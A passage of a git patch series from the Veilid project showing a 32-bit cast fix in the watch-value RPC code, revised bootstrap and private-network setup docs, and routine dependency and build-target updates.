files + // that are in within `cwd`. + cwd: '..', + include: ['pkg/**'], + }, + }, + ], autoCompileOpts: { autoCompile: true, tsNodeOpts: { From 2627a22597af83c90fe5595db35d52e9bd3b17db Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Wed, 20 Sep 2023 11:31:01 -0400 Subject: [PATCH 65/86] 32 bit fix --- veilid-core/run_tests.sh | 4 ++-- .../coders/operations/operation_watch_value.rs | 10 ++++------ veilid-flutter/example/android/build.gradle | 2 +- 3 files changed, 7 insertions(+), 9 deletions(-) diff --git a/veilid-core/run_tests.sh b/veilid-core/run_tests.sh index d3e0376a..0ee1c973 100755 --- a/veilid-core/run_tests.sh +++ b/veilid-core/run_tests.sh @@ -30,8 +30,8 @@ elif [[ "$1" == "ios" ]]; then elif [[ "$1" == "android" ]]; then ID="$2" if [[ "$ID" == "" ]]; then - echo "No emulator ID specified" - exit 1 + echo "No emulator ID specified, trying 'emulator-5554'" + ID="emulator-5554" fi APPNAME=veilid_core_android_tests APPID=com.veilid.veilid_core_android_tests diff --git a/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs b/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs index 77eea5a5..f7e0ea14 100644 --- a/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs +++ b/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs @@ -22,10 +22,9 @@ impl RPCOperationWatchValueQ { watcher: PublicKey, signature: Signature, ) -> Result { - #[cfg(target_arch = "wasm32")] + // Needed because RangeSetBlaze uses different types here all the time + #[allow(clippy::unnecessary_cast)] let subkeys_len = subkeys.len() as usize; - #[cfg(not(target_arch = "wasm32"))] - let subkeys_len = subkeys.len(); if subkeys_len > MAX_WATCH_VALUE_Q_SUBKEYS_LEN { return Err(RPCError::protocol("WatchValueQ subkeys length too long")); @@ -42,10 +41,9 @@ impl RPCOperationWatchValueQ { // signature covers: key, subkeys, expiration, count, using watcher key fn make_signature_data(&self) -> Vec { - #[cfg(target_arch = "wasm32")] + // Needed because RangeSetBlaze uses different types here all the time + #[allow(clippy::unnecessary_cast)] let subkeys_len = self.subkeys.len() as usize; - #[cfg(not(target_arch = "wasm32"))] - let subkeys_len = self.subkeys.len(); let mut sig_data = Vec::with_capacity(PUBLIC_KEY_LENGTH + 4 + (subkeys_len * 8) + 8 + 4); sig_data.extend_from_slice(&self.key.kind.0); diff --git a/veilid-flutter/example/android/build.gradle b/veilid-flutter/example/android/build.gradle index b05ad989..8764a914 100644 --- a/veilid-flutter/example/android/build.gradle +++ b/veilid-flutter/example/android/build.gradle @@ -26,6 +26,6 @@ subprojects { project.evaluationDependsOn(':app') } -task clean(type: Delete) { +tasks.register("clean", Delete) { delete rootProject.buildDir } From 618b092e8b6640ab346a2caf002b4e740a613a4b Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Thu, 21 Sep 2023 08:24:09 -0500 Subject: [PATCH 66/86] Add private or dev network setup docs Guides and config templates for use in setting up private Veilid networks for independent or development needs. --- BOOTSTRAP-SETUP.md | 20 ++++++++++--------- dev-setup/dev-network-setup.md | 2 +- ...trap-config.md => veilid-bootstrap-config} | 0 ...-config.md => veilid-dev-bootstrap-config} | 5 +++++ ...-node-config.md => veilid-dev-node-config} | 6 +++++- 5 files changed, 22 insertions(+), 11 deletions(-) rename doc/config/{veilid-bootstrap-config.md => veilid-bootstrap-config} (100%) rename doc/config/{veilid-dev-bootstrap-config.md => veilid-dev-bootstrap-config} (72%) rename doc/config/{veilid-dev-node-config.md => veilid-dev-node-config} (74%) diff --git a/BOOTSTRAP-SETUP.md b/BOOTSTRAP-SETUP.md index 1aeb6343..1f2ca219 100755 --- a/BOOTSTRAP-SETUP.md +++ b/BOOTSTRAP-SETUP.md @@ -14,12 +14,10 @@ Follow instructions in [INSTALL.md](./INSTALL.md) ## Configure Veilid as Bootstrap -**As root** - ### Stop the Veilid service ```shell -systemctl stop veilid-server.service +sudo systemctl stop veilid-server.service ``` ### Setup the config @@ -36,7 +34,7 @@ sudo -u veilid /bin/bash ### Generate a new keypair -Copy the output to secure storage. +Copy the output to secure storage such as a password manager. This information will be used in the next step and can be used for node recovery, moving to a different server, etc. ```shell veilid-server --generate-key-pair @@ -44,7 +42,7 @@ veilid-server --generate-key-pair ### Create new node ID and flush existing route table -Include the brackets [] when pasting the keys. Use the public key in the command. Secret key will be request interacitvly and will not echo when pasted. +Include the brackets [] when pasting the keys. Use the public key in the command. Secret key will be requested interactively and will not echo when pasted. ```shell veilid-server --set-node-id [PUBLIC_KEY] --delete-table-store @@ -52,18 +50,22 @@ veilid-server --set-node-id [PUBLIC_KEY] --delete-table-store ### Generate the DNS TXT record -Copy the output to secure storage. +Copy the output to secure storage. This information will be use to setup DNS records. ```shell veilid-server --dump-txt-record ``` -**Switch back to root** - ### Start the Veilid service +Disconnect from the Veilid user and start veilid-server.service. + ```shell -systemctl start veilid-server.service +exit +``` + +```shell +sudo systemctl start veilid-server.service ``` Optionally configure the service to start at boot `sudo systemctl enable veilid-server.service` diff --git a/dev-setup/dev-network-setup.md b/dev-setup/dev-network-setup.md index aac705c4..e5e822bb 100644 --- a/dev-setup/dev-network-setup.md +++ b/dev-setup/dev-network-setup.md @@ -16,7 +16,7 @@ This acts as a passphase to allow nodes to join the network. It is the mechanism ### Dev Bootstrap Server -Follow the steps detailed in [BOOTSTRAP-SETUP.md](../BOOTSTRAP-SETUP.md) using the dev bootstrap example [config](../doc/config/veilid-dev-bootstrap-config.md) for the *Setup the config* section. Set your network key on line 28. +Follow the steps detailed in [BOOTSTRAP-SETUP.md](../BOOTSTRAP-SETUP.md) using the dev bootstrap example [config](../doc/config/veilid-dev-bootstrap-config.md) for the *Setup the config* section. Set a _network_key_password_ in the config file. ### Dev Nodes diff --git a/doc/config/veilid-bootstrap-config.md b/doc/config/veilid-bootstrap-config similarity index 100% rename from doc/config/veilid-bootstrap-config.md rename to doc/config/veilid-bootstrap-config diff --git a/doc/config/veilid-dev-bootstrap-config.md b/doc/config/veilid-dev-bootstrap-config similarity index 72% rename from doc/config/veilid-dev-bootstrap-config.md rename to doc/config/veilid-dev-bootstrap-config index 4cf4072e..936effb3 100644 --- a/doc/config/veilid-dev-bootstrap-config.md +++ b/doc/config/veilid-dev-bootstrap-config @@ -3,6 +3,11 @@ # # Private Development Bootstrap Server Configuration # +# This config is templated to setup a bootstrap server with +# a network_key_password. Set the network key to whatever you +# like. Treat it like a password. Use the same network key in +# the config files for at least four nodes to establish an +# independent Veilid network for private or development uses. # ----------------------------------------------------------- --- diff --git a/doc/config/veilid-dev-node-config.md b/doc/config/veilid-dev-node-config similarity index 74% rename from doc/config/veilid-dev-node-config.md rename to doc/config/veilid-dev-node-config index a77b135a..f2bf161d 100644 --- a/doc/config/veilid-dev-node-config.md +++ b/doc/config/veilid-dev-node-config @@ -1,8 +1,12 @@ # Veilid Server # ============= # -# Dev Node Configuration +# Private Development Node Configuration # +# This config is templated to setup a Velid node with a +# network_key_password. Set the network key to whatever you +# set within your private bootstrap server's config. Treat it +# like a password. # ----------------------------------------------------------- --- From 0a7f21ce00ffb9ad9a0d6103283b2b13d7bda980 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 21 Sep 2023 15:53:25 -0400 Subject: [PATCH 67/86] update keyvaluedb --- Cargo.lock | 146 +++++++++--------- Cargo.toml | 7 +- dev-setup/setup_macos.sh | 9 +- veilid-core/Cargo.toml | 16 +- veilid-flutter/android/build.gradle | 2 +- .../example/android/app/build.gradle | 2 +- .../ios/Flutter/AppFrameworkInfo.plist | 2 +- .../ios/Runner.xcodeproj/project.pbxproj | 6 +- veilid-flutter/example/pubspec.lock | 2 +- veilid-flutter/rust/Cargo.toml | 5 +- 10 files changed, 94 insertions(+), 103 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index d210e639..59184ab9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -64,9 +64,9 @@ dependencies = [ [[package]] name = "aho-corasick" -version = "1.0.5" +version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c378d78423fdad8089616f827526ee33c19f2fddbd5de1629152c9593ba4783" +checksum = "ea5d730647d4fadd988536d06fecce94b7b4f2a7efdae548f1cf4b63205518ab" dependencies = [ "memchr", ] @@ -439,7 +439,7 @@ checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -650,16 +650,15 @@ dependencies = [ [[package]] name = "blake3" -version = "1.4.1" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "199c42ab6972d92c9f8995f086273d25c42fc0f7b2a1fcefba465c1352d25ba5" +checksum = "0231f06152bf547e9c2b5194f247cd97aacf6dcd8b15d8e5ec0663f64580da87" dependencies = [ "arrayref", "arrayvec", "cc", "cfg-if 1.0.0", "constant_time_eq", - "digest 0.10.7", ] [[package]] @@ -670,7 +669,7 @@ checksum = "e0b121a9fe0df916e362fb3271088d071159cdf11db0e4182d02152850756eff" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -901,9 +900,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.3" +version = "4.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "84ed82781cea27b43c9b106a979fe450a13a31aab0500595fb3fc06616de08e6" +checksum = "b1d7b8d5ec32af0fadc644bf1fd509a688c2103b185644bb1e29d164e0703136" dependencies = [ "clap_builder", "clap_derive", @@ -911,9 +910,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.4.2" +version = "4.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bb9faaa7c2ef94b2743a21f5a29e6f0010dff4caa69ac8e9d6cf8b6fa74da08" +checksum = "5179bb514e4d7c2051749d8fcefa2ed6d06a9f4e6d69faf3805f5d80b8cf8d56" dependencies = [ "anstream", "anstyle", @@ -931,7 +930,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1308,9 +1307,9 @@ dependencies = [ [[package]] name = "curve25519-dalek" -version = "4.1.0" +version = "4.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "622178105f911d937a42cdb140730ba4a3ed2becd8ae6ce39c7d28b5d75d4588" +checksum = "e89b8c6a2e4b1f45971ad09761aafb85514a84744b67a95e32c3cc1352d1f65c" dependencies = [ "cfg-if 1.0.0", "cpufeatures", @@ -1331,7 +1330,7 @@ checksum = "83fdaf97f4804dcebfa5862639bc9ce4121e82140bec2a987ac5140294865b5b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1387,7 +1386,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1409,7 +1408,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core 0.20.3", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1507,9 +1506,9 @@ checksum = "0688c2a7f92e427f44895cd63841bff7b29f8d7a1648b9e7e07a4a365b2e1257" [[package]] name = "dyn-clone" -version = "1.0.13" +version = "1.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbfc4744c1b8f2a09adc0e55242f60b1af195d88596bd8700be74418c056c555" +checksum = "23d2f3407d9a573d666de4b5bdf10569d73ca9478087346697dcbae6244bfbcd" [[package]] name = "ed25519" @@ -1557,7 +1556,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1577,7 +1576,7 @@ checksum = "04d0b288e3bb1d861c4403c1774a6f7a798781dfc519b3647df2a3dd4ae95f25" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1620,7 +1619,7 @@ dependencies = [ "darling 0.20.3", "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -1827,7 +1826,7 @@ version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2eeb4ed9e12f43b7fa0baae3f9cdda28352770132ef2e09a23760c29cae8bd47" dependencies = [ - "rustix 0.38.13", + "rustix 0.38.14", "windows-sys 0.48.0", ] @@ -1902,7 +1901,7 @@ checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -2187,9 +2186,9 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" [[package]] name = "hex" @@ -2433,7 +2432,7 @@ version = "1.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" dependencies = [ - "hermit-abi 0.3.2", + "hermit-abi 0.3.3", "libc", "windows-sys 0.48.0", ] @@ -2553,18 +2552,18 @@ dependencies = [ [[package]] name = "keyvaluedb" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8833bc9e937f44bac0e8d129b3ccda60dee6ca5fa2757d7e05a5e04503df02fb" +checksum = "9bdcaabe14fa83eaae1fb92480f619c5a8b413580723153da0334848eb2dff24" dependencies = [ "smallvec", ] [[package]] name = "keyvaluedb-memorydb" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14fdc324ae658318df46f62e64159c5662b94bcc99f9b6403d47d20ca7768b21" +checksum = "62802173041ed97845bc20f8cf6817e445fe537ed879ddf43fb96166829ec8ff" dependencies = [ "keyvaluedb", "parking_lot 0.12.1", @@ -2572,9 +2571,9 @@ dependencies = [ [[package]] name = "keyvaluedb-sqlite" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6bad95a1ad34c10ad4823fae1cb655be7fec022de642c95fbfafad360ba2f54" +checksum = "144f474a27a7dadc5c179c08ef9a4662acaca8047f4e5c30d5b77582243c7538" dependencies = [ "hex", "keyvaluedb", @@ -2585,9 +2584,9 @@ dependencies = [ [[package]] name = "keyvaluedb-web" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26cc6bb420f98cdd63a72c95eaa06947cdbd04e60a8d296b87f466196bacf068" +checksum = "d93d243dfa1643389f8b981ddc07b2a7c533f0fae38b3f5831b004b2cc7f6353" dependencies = [ "async-lock", "flume", @@ -3120,7 +3119,7 @@ version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi 0.3.2", + "hermit-abi 0.3.3", "libc", ] @@ -3490,7 +3489,7 @@ dependencies = [ "pest_meta", "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -3531,7 +3530,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -3953,9 +3952,9 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.13" +version = "0.38.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d7db8590df6dfcd144d22afd1b83b36c21a18d7cbc1dc4bb5295a8712e9eb662" +checksum = "747c788e9ce8e92b12cd485c49ddf90723550b654b32508f979b71a7b1ecda4f" dependencies = [ "bitflags 2.4.0", "errno", @@ -4008,9 +4007,9 @@ dependencies = [ [[package]] name = "schemars" -version = "0.8.13" +version = "0.8.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "763f8cd0d4c71ed8389c90cb8100cba87e763bd01a8e614d4f0af97bcd50a161" +checksum = "1f7b0ce13155372a76ee2e1c5ffba1fe61ede73fbea5630d61eee6fac4929c0c" dependencies = [ "dyn-clone", "schemars_derive", @@ -4020,9 +4019,9 @@ dependencies = [ [[package]] name = "schemars_derive" -version = "0.8.13" +version = "0.8.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec0f696e21e10fa546b7ffb1c9672c6de8fbc7a81acf59524386d8639bf12737" +checksum = "e85e2a16b12bdb763244c69ab79363d71db2b4b918a2def53f80b02e0574b13c" dependencies = [ "proc-macro2", "quote", @@ -4174,7 +4173,7 @@ checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -4196,7 +4195,7 @@ checksum = "e578a843d40b4189a4d66bba51d7684f57da5bd7c304c64e14bd63efbef49509" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -4218,7 +4217,7 @@ checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -4265,14 +4264,14 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] name = "sha1" -version = "0.10.5" +version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" dependencies = [ "cfg-if 1.0.0", "cpufeatures", @@ -4403,9 +4402,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.0" +version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" +checksum = "942b4a808e05215192e39f4ab80813e599068285906cc91aa64f923db842bd5a" [[package]] name = "snailquote" @@ -4523,9 +4522,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.36" +version = "2.0.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91e02e55d62894af2a08aca894c6577281f76769ba47c94d5756bec8ac6e7373" +checksum = "7303ef2c05cd654186cb250d29049a24840ca25d2747c25c0381c8d9e2f582e8" dependencies = [ "proc-macro2", "quote", @@ -4563,11 +4562,11 @@ dependencies = [ [[package]] name = "terminal_size" -version = "0.2.6" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e6bf6f19e9f8ed8d4048dc22981458ebcf406d67e94cd422e5ecd73d63b3237" +checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" dependencies = [ - "rustix 0.37.23", + "rustix 0.38.14", "windows-sys 0.48.0", ] @@ -4597,7 +4596,7 @@ checksum = "49922ecae66cc8a249b77e68d1d0623c1b2c514f0060c27cdc68bd62a1219d35" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -4704,7 +4703,7 @@ checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -4720,9 +4719,9 @@ dependencies = [ [[package]] name = "tokio-util" -version = "0.7.8" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" +checksum = "1d68074620f57a0b21594d9735eb2e98ab38b17f80d3fcb189fca266771ca60d" dependencies = [ "bytes", "futures-core", @@ -4868,7 +4867,7 @@ checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -5059,7 +5058,7 @@ dependencies = [ "proc-macro2", "quote", "serde_derive_internals 0.28.0", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] @@ -5122,9 +5121,9 @@ checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" [[package]] name = "unicode-width" -version = "0.1.10" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" [[package]] name = "unicode_categories" @@ -5221,7 +5220,7 @@ dependencies = [ "async-std", "async-tungstenite", "cfg-if 1.0.0", - "clap 4.4.3", + "clap 4.4.4", "config", "crossbeam-channel", "cursive", @@ -5308,7 +5307,6 @@ dependencies = [ "paste", "range-set-blaze", "rtnetlink", - "rusqlite", "rustls", "rustls-pemfile", "schemars", @@ -5415,7 +5413,7 @@ dependencies = [ "async-tungstenite", "backtrace", "cfg-if 1.0.0", - "clap 4.4.3", + "clap 4.4.4", "color-eyre", "config", "console-subscriber", @@ -5601,7 +5599,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", "wasm-bindgen-shared", ] @@ -5635,7 +5633,7 @@ checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -5760,7 +5758,7 @@ dependencies = [ "either", "home", "once_cell", - "rustix 0.38.13", + "rustix 0.38.14", ] [[package]] @@ -5793,9 +5791,9 @@ checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] name = "winapi-util" -version = "0.1.5" +version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" dependencies = [ "winapi", ] @@ -6150,7 +6148,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.36", + "syn 2.0.37", ] [[package]] diff --git a/Cargo.toml b/Cargo.toml index 21cb31de..90d036a5 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -7,13 +7,18 @@ members = [ "veilid-flutter/rust", "veilid-wasm", ] -exclude = ["./external"] resolver = "2" [patch.crates-io] cursive = { git = "https://gitlab.com/veilid/cursive.git" } cursive_core = { git = "https://gitlab.com/veilid/cursive.git" } +# For local development +# keyvaluedb = { path = "../keyvaluedb/keyvaluedb" } +# keyvaluedb-memorydb = { path = "../keyvaluedb/keyvaluedb-memorydb" } +# keyvaluedb-sqlite = { path = "../keyvaluedb/keyvaluedb-sqlite" } +# keyvaluedb-web = { path = "../keyvaluedb/keyvaluedb-web" } + [profile.release] opt-level = "s" lto = true diff --git a/dev-setup/setup_macos.sh b/dev-setup/setup_macos.sh index a0ea6c9d..0ec96c1c 100755 --- a/dev-setup/setup_macos.sh +++ b/dev-setup/setup_macos.sh @@ -27,6 +27,9 @@ else exit 1 fi +# ensure Android SDK packages are installed +$ANDROID_SDK_ROOT/cmdline-tools/latest/bin/sdkmanager build-tools\;33.0.1 ndk\;25.1.8937393 cmake\;3.22.1 platform-tools platforms\;android-33 + # ensure ANDROID_NDK_HOME is defined and exists if [ -d "$ANDROID_NDK_HOME" ]; then echo '[X] $ANDROID_NDK_HOME is defined and exists' @@ -129,12 +132,6 @@ if [ "$BREW_USER" == "" ]; then fi sudo -H -u $BREW_USER brew install capnp cmake wabt llvm protobuf openjdk@17 jq -case $response in - [yY] ) echo Checking android sdk packages are installed...; -# Ensure android sdk packages are installed -$ANDROID_SDK_ROOT/cmdline-tools/latest/bin/sdkmanager build-tools\;33.0.1 ndk\;25.1.8937393 cmake\;3.22.1 platform-tools platforms\;android-33 -esac - # install targets rustup target add aarch64-apple-darwin aarch64-apple-ios aarch64-apple-ios-sim x86_64-apple-darwin x86_64-apple-ios wasm32-unknown-unknown aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 7778c64c..464c7183 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -83,7 +83,7 @@ thiserror = "1.0.48" # Data structures enumset = { version = "1.1.2", features = ["serde"] } -keyvaluedb = "0.1.0" +keyvaluedb = "0.1.1" range-set-blaze = "0.1.9" weak-table = "0.3.2" hashlink = { package = "veilid-hashlink", version = "0.1.0", features = [ @@ -128,7 +128,7 @@ trust-dns-resolver = { version = "0.23.0", optional = true } enum-as-inner = "=0.6.0" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.18.1", default-features = false, features = [ "alloc" ] } +capnp = { version = "0.18.1", default-features = false, features = ["alloc"] } serde = { version = "1.0.188", features = ["derive"] } serde_json = { version = "1.0.107" } serde-big-array = "0.5.1" @@ -166,10 +166,10 @@ futures-util = { version = "0.3.28", default-features = false, features = [ # Data structures keyring-manager = "0.5.0" -keyvaluedb-sqlite = "0.1.0" +keyvaluedb-sqlite = "0.1.1" # Network -async-tungstenite = { version = "0.23.0", features = [ "async-tls" ] } +async-tungstenite = { version = "0.23.0", features = ["async-tls"] } igd = { package = "veilid-igd", version = "0.1.0" } async-tls = "0.12.0" webpki = "0.22.1" @@ -209,7 +209,7 @@ wasm-logger = "0.2.0" tracing-wasm = "0.2.1" # Data Structures -keyvaluedb-web = "0.1.0" +keyvaluedb-web = "0.1.1" ### Configuration for WASM32 'web-sys' crate [target.'cfg(target_arch = "wasm32")'.dependencies.web-sys] @@ -258,12 +258,6 @@ windows-permissions = "0.2.4" [target.'cfg(target_os = "ios")'.dependencies] tracing-oslog = { version = "0.1.2", optional = true } -# Rusqlite configuration to ensure platforms that don't come with sqlite get it bundled -# Except WASM which doesn't use sqlite -[target.'cfg(all(not(target_os = "ios"),not(target_os = "android"),not(target_arch = "wasm32")))'.dependencies.rusqlite] -version = "0.29.0" -features = ["bundled"] - ### DEV DEPENDENCIES [dev-dependencies] diff --git a/veilid-flutter/android/build.gradle b/veilid-flutter/android/build.gradle index a49c617a..2f67d5a7 100644 --- a/veilid-flutter/android/build.gradle +++ b/veilid-flutter/android/build.gradle @@ -75,7 +75,7 @@ android { dependencies { implementation "androidx.security:security-crypto:1.1.0-alpha03" - implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version" + implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:$kotlin_version" } apply plugin: 'org.mozilla.rust-android-gradle.rust-android' diff --git a/veilid-flutter/example/android/app/build.gradle b/veilid-flutter/example/android/app/build.gradle index 870fc29d..3b74008a 100644 --- a/veilid-flutter/example/android/app/build.gradle +++ b/veilid-flutter/example/android/app/build.gradle @@ -70,5 +70,5 @@ flutter { } dependencies { - implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version" + implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:$kotlin_version" } diff --git a/veilid-flutter/example/ios/Flutter/AppFrameworkInfo.plist b/veilid-flutter/example/ios/Flutter/AppFrameworkInfo.plist index 9625e105..b908a13e 100644 --- a/veilid-flutter/example/ios/Flutter/AppFrameworkInfo.plist +++ b/veilid-flutter/example/ios/Flutter/AppFrameworkInfo.plist @@ -21,6 +21,6 @@ CFBundleVersion 1.0 MinimumOSVersion - 11.0 + 12.3 diff --git a/veilid-flutter/example/ios/Runner.xcodeproj/project.pbxproj b/veilid-flutter/example/ios/Runner.xcodeproj/project.pbxproj index 0f079077..30547a5c 100644 --- a/veilid-flutter/example/ios/Runner.xcodeproj/project.pbxproj +++ b/veilid-flutter/example/ios/Runner.xcodeproj/project.pbxproj @@ -345,7 +345,7 @@ GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 11.0; + IPHONEOS_DEPLOYMENT_TARGET = 12.3; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; SUPPORTED_PLATFORMS = iphoneos; @@ -424,7 +424,7 @@ GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 11.0; + IPHONEOS_DEPLOYMENT_TARGET = 12.3; MTL_ENABLE_DEBUG_INFO = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; @@ -474,7 +474,7 @@ GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 11.0; + IPHONEOS_DEPLOYMENT_TARGET = 12.3; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; SUPPORTED_PLATFORMS 